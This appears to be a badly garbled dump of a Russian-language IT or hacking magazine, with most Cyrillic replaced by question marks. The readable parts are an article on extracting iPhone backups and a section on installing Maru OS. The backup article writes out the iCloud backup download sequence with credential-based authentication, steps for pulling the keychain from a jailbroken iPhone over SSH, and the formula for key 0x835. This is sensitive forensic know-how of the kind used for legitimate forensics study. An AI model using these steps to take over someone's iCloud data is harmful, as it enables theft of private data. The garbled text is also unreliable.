???????, ???????? ?????? ?????? ?а?????? ?? ???????? ????? ???????????
?а????????, ?а??? ??????? ?????? ??а?аApple, ??а?а????????? ??а?????????
??а???????? ??????? ?а???????? ?а????? ??????.
?а??? ?????? ???????????????? ??? ????????? ???????, ???? ???а???????
?ал????????╗ ????? ??????????? ???а??????? ?????? Apple ID ?а?????? ????????????. ???????, ????????? ?????? ??? ?????????? ?????????? ? ?а?????? ??аApple ID ?а??? ?а???????. ????? ? ???? ???????: ?????? Elcomsoft Phone
Breaker, ?????? ID ?а?????? ? ?а?????! ?????? ???????????? ?а??? ?а???????.
????????? ????? ??аiCloud
?а?????????????, ?????? ???? ?????? ??? ??????????? ???а????????? ?????????? ?????????????. ???, ??? ??а???????!
?а?????????????, ?????? ??а???????. ?а?????????? ?аApple ?а??????? ??????? ??????????? ???????? ????????????? ?????????????? (?? ??? ??????
? two-step verification), ??????? ??????????? ???????? ?????? ???????????????, ?????????? ?????? ?а?????? ??а??????? ?????? Apple ID. ???а?????????
????? ????????? ???а??????? ?а????????? ????? iCloud ??????????? ??????
??а?????? ????? ?а??????, ??а?а??????????? ???, ??????? ????? ???? ????????
??а?????????? ?????????? ????? push ??? ?а???? SMS ??а?????????? ?????????? ?????.
???????? ??????????????? ???? ?????????????? ??????????? ?????????
????? ???????????????. ?????????? ?????????? ??????????: ?????? ??????????? ??а?????? ?????? ?а?????? ?????????? ??????, ??а?а?????-?? ??????? ????????? ?? ???????? ??????????? ???. ???????, ?????????????? ??????????
?а?а????, ?а???????? ??????????? ??????????? ?????????? ?????? Elcomsoft
Phone Breaker:
????????? ????? ??аiCloud, ?????????? security code
???? ?? ????????????? ??????? ?????? ?а?????????? ????????????, ?? ?а????
????????? ???? ?а????? ?????? ???? ???? ?а?????? ?????? ? ???????, ???????
?а?????. ?????????? ???? ????? ???? ??????? ???????? ?????? ?????????????? ?а??????????, ??а??????? ???? ??????????? (? ????????????) ?????????
iCloud for Windows. ?????????? ? ???? ???????: ?????? ???????? ?аElcomsoft
Phone Breaker, ????????? ????? ???????????, ?а?????, ?????? ?а???????????
??? ? ??а?????.
????????? ?????? ??????????????
?????????? ?????? ?????????????? ???а?????????? ?????? ??аiCloud
???а??а??? ????????????? ?аApple? ???????? ??????????: ???? ????? ???????
?????????????? iCloud ????????? ?а?????????? ??????? ??а????????? ?????.
??????, ???? ????????: ?аiOS 9, ???а?? ??? ??????, ????????? ????? ??????????? ??а?аiCloud, ?а?аiCloud Drive, ???а???????? ??????? ?????????????? ?а??????
????????? ????? ?а????? ?????.
?а???а??????? ???? ?а???????? ??????, ?????????? ????? ?а??????? ????????
??? ??? ??а??? ??????????. ???? ?????????????????? ??ал????????╗ ????? ??а??
?? ????? ??????????, ?? ??? ????? ?а???????: ?????????? ????????????? ?а?????????? ???а??а?а??? ??а??????. ???? ?? ????????????????? ?????? ??????????,
?? ???????? ????? ?а???????? ?????, ???а?а????????? ??????? ???а??????: ???
?????? ??аkeychain (??????? ?????? ??аWi-Fi, ?????, ?????????? ????? ?а?.?.)
????????????? ??а?????. ?а??а?????? ???. ?????? ?????????? ?????? ??????
?аkeychain ?а?????? лthis device only╗ - л?????? ??а???? ??????????╗. ?а??????
??????? ??? ????????? ?а???????? ???????? ???????, ????????? ??????????
???а???????? ?????????? ?а?.?.
???а??? ????? ?? ???????? ?????? ?аiPhone ???????
??а???-??????????
?????????? ?????????? ?????? ??аiPhone 5c ??????? ??а???-?????????? ????
????????? ????? ?????????: 1) ???????? ??? ?????????? ?а?????????????? ???????????? ??????, 2) ????????? iCloud-????? ??? ?????? ????? ??????
?????, 3) ???????????? ?????????????? (??????????? ???????????????), ????????? ??????????, ?????-?? ?????? ????? ?????? iCloud. ?а??? ???? ?? ????????? ????? ??а??? ?? ????????. ??а???? ???? ???? ??????????? ???????????
?????????.
??????? ?????????????? ??????????? ??а???????????: ??????? ?????????? ?а??????????? ???????? ????? Faraday bag, ????? ???? ????????????
?а????????? ??????????. ??????????? ????? ??????? ?а?????? ?? SSID ?а???????, ???а?а??????????????. ??????? ???????? ?????? ?????????????? ??????,
?а??????? ????? ??????????, ?а?????! ??????? ?????????????? ??????? ?????? ????? ??????, ??????? ???а??????? ??????????? ?а???????? Apple. ?????? ????????, ?????????????? ??????? ???а???? ??? ??????? ?????????????
? ??а????? ??а???-???, ??а????????? ??????. (?а??????? ??? ??? ???????, ???
???а????, ????? ?????? ????? ?????????, ??????? ?????? ???? ?????????????
???? ?? ???? ??? ????? л?????????╗ ??????, ????? ?????? ??аWi-Fi ?????????
????????????? ?а??????? ??а??????? ??????? ??????????? ?а?????).
???????????, ????? ?????? ??? ?? ????????? ?????? ?а??? ??????, ???? ???????? ????? ???????. ??? ?????????? ??? ????? ??? ????????, ?????? ??????
?? ??? ??????? ?????????.
???????????? ? ??? ???????
?????????? ????????. ?? ??????????? ????????????? ??????????????. ?????? ?а??????. ?????? iPhone (?? ?? ? ?????????? ??????????, ?? ?? ? ????????
SIM-????? ?а?????????? ?????????? ???????, ??а??????? ????? ????????
SMS c ?????) ??????. ?? ????????? ?аApple Store, ????????? ????? iPhone
?а????????? ??? ????????????. ??????? Apple ID, ????? ??????? ?а????? ?а????
??????? ??????????? ???, ???????? ??????? ???? ?????? ?а??а??а???.
?????????? ????? ???????? ??а????, ????? ?????? ??? ????????????? ?????????????? ??? ???????????: ?????? Two-Step Verification (2SV) ??? ?????
Two-Factor Authentication (2FA). ?а?????? ?????? ???? ???????? ????????????
??? ?????????????? ??????? (Recovery Key), ??????? ??, ??????? ??, ????????
?а?????????? ?????. ?? ?????? ? ?????? ????????? ?????????????? ??????? ????? ?????????????????? ?????? Apple, ?????? ????????? ????? ??????
??а?????????? ???? ?а??????????? ??а????????. ??? ????? ?????????, ???? ??
????????? ????? ?а???????????? SIM-????? ?а???????? ?????????? ???????
???а????????? ???? ????? SMS. ?а????? ?? ???????? ??????, ??? ????????????
??????? ?????.
???????, ???а??????????? ????????? ????? ???????? ???? ?? ???????? ????????, ???? ????? SIM-????? ?а??????????? ?????????? ??????? ?а???а????? ???????? ?а???????????? ??а?????? ????????? ??а?????? ????. ????? ???????, ?а????? ?????? Apple ???????? ? ??????.
?а???? ???ал??????╗?
???а?? ????????, л????????╗ ????????? ?????, ??????????, ??????, ??а??а??????????? ?????????. ?а???? ?????? ???????????? ???????????? ????????
?????????????, ??а????????? ????? ?????? ????? ???-???? ???????, ?? ????? ??????????????? ?????????????? ??????? ?????????? ??????????? ??????????????? ??а????????? ????? iTunes. ????? ??????? ???, ????? ?????????
????? ??????????? ????????????? ?????? ???, ????? iPhone ??? iPad ???????????? ?а??????????. ??, ??? ??а??? ??????, ???ал????????╗ ???????????, ????
??????? ????? ?????????. ??? ???? ????? ?????????.
????????? ?????????? ??????????? ????? iTunes
??????????? ??????
MOBILE
?????? ??????
BACKUPS FOR FUN
AND PROFIT
??????????? ?а???????
??????????
??????????? IOS
?а?????? ??
???? ??????,
??????? ?? ?????????
?????????????? ????????
?????????
aoleg@voicecallcentral.com
????????? ????? ?аITUNES: ?а??????? ??? ????
?????? ???????? ??а???????? ????. ?????? ????????? лEncrypt iPhone
backup╗? ???? ???????????? ??? ????????? ?а??????? ?????? (??????, ?? ?????
??а?????? ?а????? ?????????? ?????????? ?а??????? ??аApple ID), ?? ??? ?????
??????????? ????????? ????? ????? ??????????? ?а?????????????? ?????
??????. ????? ????, ???? ?? ???????? ??????, ?? ???????? ??? ???????? ???
????? ?????????? ???а??????? ?????? ?????????? (??? ???? ???????????? ???
??а????????????? ????????? ????? ?? ??а???????, ??а?????? ??????????
??????).
?а??????????? ????? ?????? ?????????? ?аiOS ??????????? ?????????-????????????. ??? ?????????? ????????? ??????????????? ?а????? ??????????, ?а?????? ???????? ??? ????????????? ????? ??????. iTunesа?а??????
?????? ????? ???? ?????? ??????? ??а???????? ????????? ?????, ?????????
????????????? ????? ?????? ?а????????? ??? ?а????. ??а????? iTunes ????? ?? ???? ????? ?????? ?????????, ???а???? ?????? ??? ????? ???????? ??
?????????????? (? ????? ??а????????? ?????? ?? ?????????? ???? ??????
?????????).
??? ?, ??????????, ?а??????????? ??? ??????? ????? ?????????? ??????
?а?????? ?а????????? ?а?????????????? ???? ??? ???????, ??????? ??????
???????????? ?а???????? ????????????. ?????? ??????: ?????? ????? ??????????? ????????.
?????????? ??????
???? ?а?????? ??????, ??????? ???????? ?а????????? ???????????? ??а???????
???????. ???? ????????? ????? ??????????? ???????, ?? ????? ??? ??????
??аkeychain (? ??? ???? ?????? ??а??????? ??????? ?а???-??????, ?????? ?????? Health, HomeKit ?а?????? ??????) ????? ????? ??????????? ??? ?? ???????. ?а????? ???????, ??? ????????? ???????????? ????????? ????? ??а?????
?????????? ?а????????????? ???????? ?????? ??а???? ??????????? ???????
?а??????? ???????. ?а?????? ? ???? ?????? ??а????????? ????? ??????? ????????, ?? ??? ??? ?????? ?????? ???????? ??????????????.
????????? keychain
?а???? ?????? ??а?????????? ????? ?????? ??????????, ?????????? ?а??????
?????????? ??????????? ??а?????. ?а??? ?????? ??аkeychain ? ????????, ????? ??????????? ??????? ?????????? ??????, ???????? ??????? ??а??????
????? ???????? ?????????? ??а?????????????? ?????????. ??????, ????????
?????????? ???????????? ?????? ??аkeychain ????? ????? ?????? ??а?? ?? ????? ??????????, ?а???????? ??? ???? ???????????.
л???????? ??????????╗? ???, ??????! ?????????????, ?а??а???? ????? ????
???? ????, ?????? ??????? ??? ? ????? ?а????? ?????? ?а?????? ??а?????? ????????. ?????? ??????, ??? ???? ???? (??????? ??? лsecurityd╗) ????? ???????
?????? ??а?????????, ??а?????????? ???????? ???????????? Secure Enclave,
?а?????? ?а??? ??????, ???? ??а?????????? ?????????? jailbreak. ?????? ??????, ??????? securityd ???а??????????? keychain ??а???????????? ??????? ????????? ????? ????? ??аiPhone 5c ?а????? ??????, iPad mini (?? ???? ??аmini 2)
?а???????????? iPad 1-4, ?????????? ??а32-?????? ???????????.
???? ????????????
?????? ?? ??????, ????? ???????? ?????????? ??????????? ?????????? ?а?а????? ????????????? ???????, ?а??? ????? ??????? ?а?????????????. ?????? ??
???, ??? ??а????????? ????? ????? ??????????? ?а????? ????? ?????? ? ???. ????????????? ????? ?а???????? ????????????; ??????? ? ????! ???????????
?????????? ?а????? ????? ?????? ????? ???????????? л????????╗ ?????????
????? ?а????????? ??????? ????????? ????????? ??????. ?а????? ??а?????????
?а???? ?????? л? ????????? ??????╗, ????? ????? ??а??????? (???? ?? ??? ?а?????) ????????? ?а????????? ????? ?????? ????? iTunes, ?????? ?а??????????
???????, ??а????? ???????????? (? ?????? ???????????) ???????.
?а???? ???????? ????????????? ?????????????? 2SV ??? 2FA, ?? ?а??????
?????? ??????? ??????? (???? ?а????????? ??????) Recovery Key, ?? ?????? ?
???а??????? ????????? ?а??????? ?????? ???????? (??? ?????? ?????? ??а???).
??? ?????????? ???????? ?????????????? ????? ???аSMS-???????????, ???
???????? л? ?????? ????╗ ???????? ??????????? ??? ??а?????? SIM-?????.
????????? ICLOUD: ???а??? ????????
???а???????????? iCloud ? ??? ?????? ?а??????. ?а???а?? ??????? ???????,
?а???а????? ????????? ??ал????????╗ ??????? ?? ?????? ?????????? iCloud for
Windows ??? ????? ?ал??????╗ ?аiPhone ??? iPad. ?????? ??????????? ??????
????????? ????? ?а??????? ?? ??????. ??а??? ???. ??????? ????????? ?????
?? ??а???????, ???а????? ?????? ??? ???????? ?????????. ????? ??????? ??????????? ?????, ???????? ?????? ?????????? ????? ??????, ???а????????????
???????? ?а?????? ??????.
iCloud ? ?????????? ???????????? ??????? ??????????????? ????????
??????, ?????????? ??аApple ID ???????????? ?а?????????? ??а?????? Google
Protocol Buffers. ???? ????? ??????? ??а????????? ????? (chunks), ???????
???????????? ????? ????? ???????????? л?????????╗ ???????????? ?
Amazon S3 ?аMicrosoft Azure. ??? ?????????, ?а????????? ????? ?? ?????????
????????????? ????????????? ?а???????? л?????????╗ ??????????, ???????
????? Google. ??-??, Apple ?????????? ??????? Amazon, Google ?аMicrosoft
???а???????? л????????╗ ??????? iCloud! ?а??? ?????????? л????????╗ ??????????, ????? ???? ??, ?????-?????? ??????????, - Apple ???а???????? л????????╗ ??????? ??а??????????. ???????? ??????????, ??????!
??а???????? Apple ??????????? ??????? ?ал????????╗ ????????? Amazon
?аMicrosoft ???а??????? ?????. ????? ?????????? ???а???? ????????????
???а??????? ????? (chunk) ??а???????????.
??? ???а??? ???????? ?а????????????? ????
??????? ?а???????????? ????????? ????? ?????? ??аiCloud ????? ?а???????.
???????? ?????????????????? ????????.
?????????????? ?ал??????╗ ??????????? ?а????????? ???????. ??????:
https://setup.icloud.com/setup/authenticate/$APPLE_ID$
Authorization:Basic <authentication_data>
?????? ?????????????? ???а<authentication_data> ??????????? ???аmime64
(AppleID:password)
?????????: mmeAuthToken, dsPrsID
?????? ?????? ???????:
GET /setup/authenticate/$APPLE_ID$ HTTP/1.1
Host: setup.icloud.com
Accept: */*
User-Agent: iCloud.exe (unknown version) CFNetwork/520.2.6
X-Mme-Client-Info: <PC> <Windows; 6.1.7601/SP1.0; W>
<com.apple.AOSKit/88>
Accept-Language: en-US
Authorization: Basic cXR0LnRld3RAaWNtb3VkLmNvbTqRd2VydHkxMjM0NQ==
???а????????? ??????? ?????????????? ???а?????????? ?????? ??????????
????? ??????:
https://setup.icloud.com/setup/get_account_settings
Authorization:Basic <authentication data>
authentication data = mime64 (dsPrsID:mmeAuthToken)
?????????: mmeAuthToken.
?????? ????????, ??? ??? ?????? ?????? ??????????????!
??????? ?????? ???????, ????????? ??а??????? ???а?????? ??????? ??????:
https://p11-mobilebackup.icloud.com/mbs/(dsPrsID)
Authorization: <authentication data>
authentication data = mime64 (dsPrsID:mmeAuthToken)
?????????: ?????? ??????????????? ????????? ????? (backupudid)
???а?????? ????????? ????? ??????????? ????? ??????????:
https://p11-mobilebackup.icloud.com/mbs/2005111682/(backupudid)
/getKeys
????? ??? ??????????? ??? ??? ???????. ?????? ?????? ?????????? ??????
?????? (??? ?????? ????????? ????? ?ал??????╗ ??????????? ????? ??? ????????? ??????):
https://p11-mobilebackup.icloud.com/mbs/(dsPrsID)/(backupudid)/
(snapshotid)/listFiles?offset=(offset)&limit=(limit)
????? ???????? ??????? ?????????????? ???а??????? ?????:
https://p11-mobilebackup.icloud.com/mbs/(dsPrsID)/(backupudid)/
(snapshotid)/getFiles
????? ???? ???????? ?????? ?????? (URL), ??а??????? ????? ???????? ???а?????????? ????????? ?????:
https://p11-content.icloud.com/(dsPrsID)/authorizeGet
?????? ??? ????? ??????? ??????, ?????? ??? ?????. ?????? ??????? ???а????? ??????, ??????????? ?аWindows Azure:
http://msbnx000004.blob.core.windows.net:80/cnt/g6YMJKQBPxQruxQAr30
C?sp=r&sr=b&byterange=154-31457433&se=2013-06-07T10:14Z&st=2013
-06-07T09:19Z&sig=0EdHy75gGHCee%2BjKePZBqz8xbWxpTxaYyASwFXVx2%2
Fg%3D
????? 'se' ? ????? ??????????? ?аiCloud (??????? ????????????? ?а???????
????). ?а??? ?????? ???а????? ??аAmazon AWS:
http://us-std-00001.s3-external-1.amazonaws.com/I9rh20QBPX4jizMAr3v
Y?x-clientrequest-id=739A222D-0FF5-44DD-A8FF-2A0EB6F49816&Expir
es=1371208272&byterange=25556011-25556262&AWSAccessKeyId=AKIAIW
WR33ECHKPC2LUA&Signature=PxAdegw0PLyBn7GWZCnu0bhi3Xo%3D
?ал??????╗ ?????? ???????? ??? ????????? ??????. ????? ????????? ?????, ?????-?? ????? ?ал??????╗ ????? ?????? ????????? ?????? (? ?????? ?а??????),
??а????? ?? ????? ????? ??????????? ??а???????? ????? л???╗. ???????? ????????? ????? ??????????????. ????? ?????? ????? ?????? ??????, ????????? ??????????? ??????, ????? ????? ??? ??????. ??????? ????? ??????
????? ????? ?????; ????????? ? ???? ???????, ?.?. ????? ??????? ?а?????? ?????
????, ?а????? л?????????╗ ?????????. ???а????????? ?????? ??????? ??????
????????? ?????????? ??????????? ??????.
??????? ?????? ??ал??????╗ - ???????. ?????? ????? ?? ??? ?а????????????. ???? ?а?????? ????, ??? ????? ?????????? ???а??????? ????? ??????
??? ???????? (??? ???????? ??????????? ?а?????? ???????), ?????? ??а?????
???????.
??? ?????? л??? ??????? ?????╗? ???? ?а???, ??? ?????? ??а??? ??????
??ал????????╗ ????????? ????? ????? ???? ????????????. ????? ?????? ????????? ?а??????? ?????? ??аOTA (over-the-air) backup keybag, ???????????
??а??????? ????? ???? ???????????? ?????? ??а??? ????? ??????????, ?а???????? ???? ??????? ????????? ????? (? ??????? ????? 0x835 лsecurityd╗, ??????? ??????????? ????? ??????? ?а?????? ???????? ??????????).
????? ?? ??????? ??????, ?????????? securityd?
??, ??? ???? ???????? ??????? ??а32-????????? ?????????? ?аiOS 5-7. ???????
?аiOS 8 ?а?????????, ????????????? Secure Enclave (? ??? ? ??? 64-?????????
iPhone ?аiPad) ??????? ???? ???? ??а?????????? ??а?????????????? ?????????
???? ???а??????? jailbreak, ?а??? ????? ? ???? ?????? ?????????? ???????? ?
???? ???а????? Apple.
??????? ??????? ??? ?????? ??а?????? iCloud ??????? ?а2012 ????, ??? ??
??????? iOS 5 ?а??????? ????? лman in the middle╗ ?а???????? ???????????.
???а?????? ????????????? iPhone 4S. ?????????????????? ???????? ???? ????? (??? ????????? ????????? ?????? ?аiOS 5-7; ?а????? ?????? ??????? ??????????? ??????? ??????????? ????????):
1. ???????? ???????????? (jailbreak);
2. ?
?а??????????? Cydia ??????????????? OpenSSH, ?а??????? ???????? ??????????? keychain (???? keychain-2.db);
3. ?
??????? ???????????? ?а?а????????? ??????????, ?а?????? Find My iPhone
? ??????????????;
4. ??????? ???????????????.
?а?????????? ??????? л??????╗ ??????????, ?????????? ?а????????? ??????????. ????? ???? ??????????? ????????? ?????????????????? ????????:
1. ?
???????? ?????????? ???????????? ????? ???? Wi-Fi ?а?????????????????
?????????;
2. ?
а????? keychain ???????? ?????????? ?????????? ??а??? ???????????
(??? ????? ??????????? ???? 0x835 ?а?????????? ???? keychain, ??????? ??
???????? ?????);
3. ?
????? ??? ???????????? ????? ????????? ?а????????? Apple ?????????
?а??????? ???????????? ???????????; ?????????? ????????? ????????
???????.
???? 0x835 ?а???? лsecurityd╗. ??????? ??? ????? ?????? ??а????????????
?????????? ?а????????????? jailbreak, ?а?????? ??а?????????, ??а????????????? Secure Enclave. ?????????? ?? ??????????? ??а????? UID (?????????? ????
??????????) ?а??????? ????????? ???????:
key835 = AES(UID, bytes("01010101010101010101010101010101"))
??????????
??????? ?? ???????????? ?а?????????-????????????? (??? ???????? ??????) ???????? ?????????? ???????????, ???????????????? ?а?????????????
??а????? ??????? ??????. ?аApple ???????? ??????? ?а??????? ?а??????????
???????? ?????? ????? ????????? ?а?????????????. ?а????? ????? ?????? ??
??? ?????? ???????, ???????? ???? ???????? ?а????????? ???????????. ?а???
??????? ???? ?а????? ???????????????? ????????? ??аAndroid? ??а????
????????? ?а????????? ???????.
MOBILE
???????
?а???????
??????? лBRADA╗
?????????
john.brada.doe@gmail.com
????????? MARU,
????????,
???????????
?????????? ????????
?а??????????? ????
?????????? ???????? ?????????? ????????? ???????? ???а????????? ?????????. ????????? ???????? ??????? ????? ????? ?а?????? ???????, ????????? ?????
??????????? ?а????????? ???????? ??????? ????????
??? ???????????. ?????? ?????? ????? ????????? ???????? ?а???????????? ?а????????????? ?????????????????. ??????? ?? ???????????? ?аMaru OSа? ?????????? ??аAndroid 5.1.1 ????????, ??????? ???а???????????
????????? ?а???????? ?????????? ??? ?а???????????
???? ??а???? Debian. ?? ??а?????? ???????? ????????,
??а?а?????????? ?а?? ??????????.
?????????? ?а?????????
???? ??? ???????? ????????? ?а?????? ????????? ????-???????????? ?а????????
?????? ???аNexus 5. ????? ???????? ??????? ????????, ????? ??????????? ?????????? SlimPort ?аHDMI-??????. ????? ???????? ??а??????????? ?????????
???????????? ??????? ????????????, ??а??а????? ???? ???????? ???????????
????? (????????, ????????? Qumo ??а990 ??????). ????????????? ??????????? ???????????? ???? ?а??????????, ??????? ????? ???????? ?а??????????
???????????? ???а???????????? USB-????????.
??????? ???? ?а????? ?????????? ??а???????, ??? ???, ???? ?а????????
SlimPort ???? ?????? microUSB (??? ??????????? USB-?????), ?а??????? ????? ???????? OTG-??????, ???????? data ?аID ??а???? ??а????????. ??а????? ???????????? ???????? Bluetooth-????? ?а???? True Mouse/KB, ?????????????
??а?????? ???????? ??? ???????.
???????
Maru
??????????????? ???????? ??а??????,
??????? ??????????? ????? fastboot.
?????? ???? ??????? ????????? ?? ????? ?а???????? ?а??????? MultiROM.
???а????? ?????????? ???????? root,
?????????? MultiROM Manager ??а???????, ??????? ?а??? ??????? ????????? ????????, ????????? ????
?а??????????? ?????. ????? ??????? ???????? ???????? ??а??????????? ????? ??????, ???????????????
?аrecovery ?а?????????? ?? ????? ????
Add ROM.
Maru OS ?????????? ??а??????
Android 5.1.1 Lollipop, ?????????
??аAOSP, ?а?????? ??а???????? ?а????
??а??????, ??а?????? ???? Google.
????? ?????????? ?????????????
?аGoogle ?а??????????? ?????????????
????, ?????????? ????????????? ????????? gapps??. ??????, ??? ???а?????????? ????? ?а/system ?а???????? ????? ??? (??? ?????? ??? Debian),
?????????? ??????? ?????? ?????
gapps-pico, ?????????? ?а???? ????
?????? ?а????????????? ?????????.
????????? ???????? ?а??????? MultiROM
?????????? ????????
????? ?????? ????????
????? л?а????????╗
??а???????? ????????? ???????? SuperSU, Xposed framework, ???????? ??????? ?????, ?????? ?????? ???????????? ??????????? (?????? ???? ??а????????).
?а?????, ?????????, ????? ??а?????????????? Android.
DEBIAN
??? ?????????? ??????? ??????????, ???? ?а???????? ???????? ??????????
SlimPort ?а?????????? ?аHDMI-????? ?????????? ??? ????????. ?????? ????????? ????? ??а?????? ???????? ??????????? ??????? ???? Debian.
?????????? ????????, ???????, ?????????
??????? ??, ??а???????? ???????? ??а??? ???????. ?? ?а????????? ???????
??????? ??????, ??????????? ????? ??????????? ?????? ??а????????? ??????
(?? ??????, ??? ??? ??а??-?? ????????? ??????????), ??а?а????? ??????? ???????????????? ??????????????. ???а????????? ???????????? ??????? ??????????? ????????.
?а?????????? ??????????????? ????? ??? ??????? ???????. ????????? ?????? ??????? (? ????? ??а?????? ?????? ?????? maru):
sudo apt-get update
?????? ????? imagemagick:
sudo apt-get install imagemagick
????????? ?????
??? ?????, ????? ???????????? ???????????? ??а????, ???????????????, ?а???
?????????? ???????? ????????? ?а??? ??????? (import, convert, montage...).
????? ?? ??????? ????? ??????? ????? ?????? Debian, ????????? ???а????????? ARM. ??а????????? ??????, ??? ??? ?????? ????????. ??? ????????
?????????????????? ?????, ?? ?а???????? ????? ??а???????? ????? LibreOffice,
?а?а???????? ????????а? Iceweasel (?? ????а? ??????????????? Firefox). ????????? ???????? Vim, Google Docs, GCC, Node.js, Bluefish, Yeoman, GIMP. ???????? SSH-??????.
???? ?? ?????????? ?????????? ??????? ?аAndroid, ?? ????? ????????
?? ?а???? ??а???????????? /mnt: DCIM, Downloads, Movies ?аMusic. ??а?????
??????????????????? Maru ???, ????? ??????? ?????? ?????? ?а????? ??????.
???а????? ?????????? ???????? ?а????? ????? /data/media/0/multirom/roms/
maru-v0.2.2-update-hammerh/data/maru/containers/jessie/ ???????
lxc.mount.entry = /sdcard mnt/sdcard none bind,optional,rw,create=dir
??????? ??? ????? ??а???????? ??? ?а??????? ??????????, ?а???????? ????
root-??????.
Fun fact
?????? ???????????? ????? ??а?????? ???????? ????????? Android ?аDebian
?а?????? split screen. ???а??????? ???????????, ??? ????????? ???? ???а???????, ??????? ??а?????? ???? ??????? ??????? ????????. ?????????? ??? ??-??
???????????? ????????? ?????? HDMI.
?а????? ?а??? ??? ???????? ?????, ??а???????? ??????????? ????????? ????
?а??????????:
? ??а???????? ????, ??? ??? ????????? ?????? ?а?????????? ????? ??а???????.
? ????? ?а???????? ?????????? ????? HDMI ??а???????.
? ?а?????????? ??а???????? Browse Network, ?????? ??????.
? ???? ???????? ??а???????????????? ?а?????? ????????.
? ?
?а???????? ?????? ??а???????????? ?а???????? Bluetooth-????????? ?а????????????? ???????????. ??????? ????????? ?????????? ?а????, ???????
????? ?????? ??????????????? ?а??а??????????????.
? ?
??????????? ????? ???????? ??????? ?????????, ?а???????????? ???а????? ??????? ?hromium-bsu ????? ??????? ?????? ?????-??? ??а5?10 fps
(?????????? ????????? ???? ??а??????????????).
? ?
?а????????? ????????? GNOME ??? KDE, ??а????????? ???????????? ??????? ??а?????? XFCE.
? ?
?а?????? ?????? ??а?????????????? ????????????????????? ????? (?????????? ?а??????? ?????? ??? ?????: root ?аmaru).
? ?
?????? ????????????, ???? ???????? ????? ??????????. ????? ????? ????????, ???????? ?а???????. ????? ???????? ?????, ????? ??????????? ????????
????? Daydream (????????? ??????? ????????).
?? ?а????? ??????? ?????а? ??????? ????????????? ??????? ???а??????????
????????. ?????? ??? ??????????? ???? ?а?????????????? ????????. ?а???????????? ?а????? USB ??а????? ????????? ?????????? ?????????? ????? ??????? ?????. ??????, ????????? ???????? ??а1 A, ????? ???????? ??????? ??а????? ??????. ?а?????? ???????, ???а??????????? ?а???????? ???????????????
??????? ?????? ?????? ????? ?????????, ??? ??? ???????? 6.0.1.
??????? л??????? ?а????????????╗
?а?????? ?????? ????????? ???????? ???????, ??????? ?????? ?а???, ???а
???????? ???????? ?а???а?? ??????? ???????, ????? ???? ?????? ?а?????? ??????. ??? ?? ?а???????, ????? ??? ????????? ????????.
??????. ???????? ??????? ?а????.
??????, ???? ????? Preetam D?Souza. ? ??а?????, ??а??? ?а??????? ????????
?????? ?а?????? ?а???. ????????? ???? ????????? ? ????? ?а??????? ????????????, ??? ?????? ???????????? ??а??????????. ???????? ?????? ???????? ??? ????????, ??????? ??????? ?????? ???????? ??????????? ?а???????????а? ??? ? ??? ??????? ??? ?а????????????. ??? ???? ???????, ??????
?????? ??????? ??а????, ???? ? ????, ??????? ?а???? ???????? ????? ???????
???????????? ?а???, ???а? ?????????? ?????? ??????? ?а???????, ?????????
??????? ??????????? AMD ?аIntel ?а??????????, ?а?????? ???????? ??.
? ??????? ??????????? ????? ???????????? ??а????????? ?а??????? ??????? ?а???????????. ??а????? ????? ? ????? ?????????? ??? ????? ???????????
?????????. ?????? ??? dampOS, UNIX-???????? ??, ?????????? ?а???????????? ???????????? (??? ??????? ??????????.а? ????. ???.) ?а?????????? ??????????? ?????????????, ?????????? ??аFAT ???????? ???????? ?а????????.
?????? ???????? ??? RFIDash, ??????? ?????????? ??????? ???а?????????
????????? ?а??????? RFID-?????. ??а?????? ????? ???????? ?????, ?а?????
???? ?а????????? ????? ????, ?????? ???????? ????? ?а???????????? ??????.
?? ?а???а??????????, ? ????? ??а????-?????? ?а???-?????? ????????.
????? ???????? ???? ???????? ? ???????? ?????????? ?аAmazon Web Services
(AWS), ?а????? ??????? ?а??? ??а??????. ? ?????? ??? ?аAWS ?а??????? ????????? ??????, ?????????? ??? ????? ???????? ????????. ???? ??????? ????
??????????? ?????????????????? ?а?????????? ?????????? ???аAndroid. ?а?????? 2015 ???? ? ??????? AWS, ????? ????????? ??а?????????????? ????, ?а?????????????? ??а????? ??????????? ????????, ?а??? ????? ??а???, ??? ?????
???? ???????? ???аMaru.
Preetam D?Souza
???а????????? ???? ??????? Maru?
??????? ????? ??а????????????? ????????? ?а???????? ???????? ????????
?а????? 2012 ????, ????? ? ????????? ???? ???а????????? ?????? ?а???????
?а????? ?а???????????? ???????????? ?????????. ????? ?а???? ??? ?????????? ???????? ???????????? ?????????? ?????? ????, ??, ????? ?????? 2013?? ? ?????? ??????????? Samsung Galaxy S4, ??? ???????? ??????????. ????????????? ????????? ?а????????? ???????? ?????? ??????? ??? ????. ?а???
??? ? ????? ??????? ??????????? ??????????? ????????? ?а???????? ?а??????
??????????.
??? ???? ???????? ?а???, ????? ??????? ????????? ???????????? ???????
?а???????????? ??? ??????? ?????? ???????????. ? ??а????? ????????????
??????? ?????? ?????????, ??? ???? ????? ?????? ???????, ??????? ? ?????
????? ?а????? ???? ?????? ?а?????? ??????????? ?? ?????????.
???а???????? Maru?
????? ? ?????? ????? ?????? ?а??????? 2015 ????, ? ?????????? ????????????
?????????? ???а?????????????? ??????? Linux ?аAndroid ?а??????????? ?????????. ? ???????? ????? ???????, ????? ??????? Xen ?а???????? ?????? ?????
??????, ??????????? ???? ???? ??????? ???????? ???а????????? Exynos 5410
ODROID-XU. ??а????? ?????? ? ?????? ?а??????, ??? ????? ?а??????? ??????????? ???????????? ????????????? ?????? ????????????, ?а??????????? ?????? ???? Linux ????? ????? ????????? ?а??????? LXC (LinuX Containersа? ?????????? ???а???????? ????????????? ???? ??а????? ???????????, ???????????
???????????? ????????? ????????? ?????????? ??а???? Linux ??????.а? ????.
???.). ??????? Maru ?????????? ?????? ???? ??????.
????????? ? ????, LXC ???????, ????? ???? ???? ??????? ?а?????????? ??????????? ???? (namespaces) ?аcgroups, ??????? ???
?а??????????? ???? Android.
? ?????? ????????? ???? ???аNexus 5 ??а?????? ?????????? ???? Android 5.1
?а??????????? ??????? namespace ?аcgroups.
??? ???? ?????? ??????? Debian ?????, ??? GNURoot ?аLinux
Installer?
??? ??? ??????????? ???????? ?????????: ???????? ??а????????? root, ????? ????? ???????????? Linux ???аARM, ?????? ?? ????-?????? ?а/data, ?????
?????? chroot ?а???? ??????? ?а????????? ??????????? X-?????? (???????????
???аLinux ??????????? ????.а? ????. ???.), ???????? ???????? ??а????????? VNC. ????? ???????????? ?а???? ?а??????? VNC-??????? ???аAndroid. ??
?а???????????? ???????? ?а???????? ??аHDMI, ???? ????? ??????? Linux-??????? ??а??????? ?????.
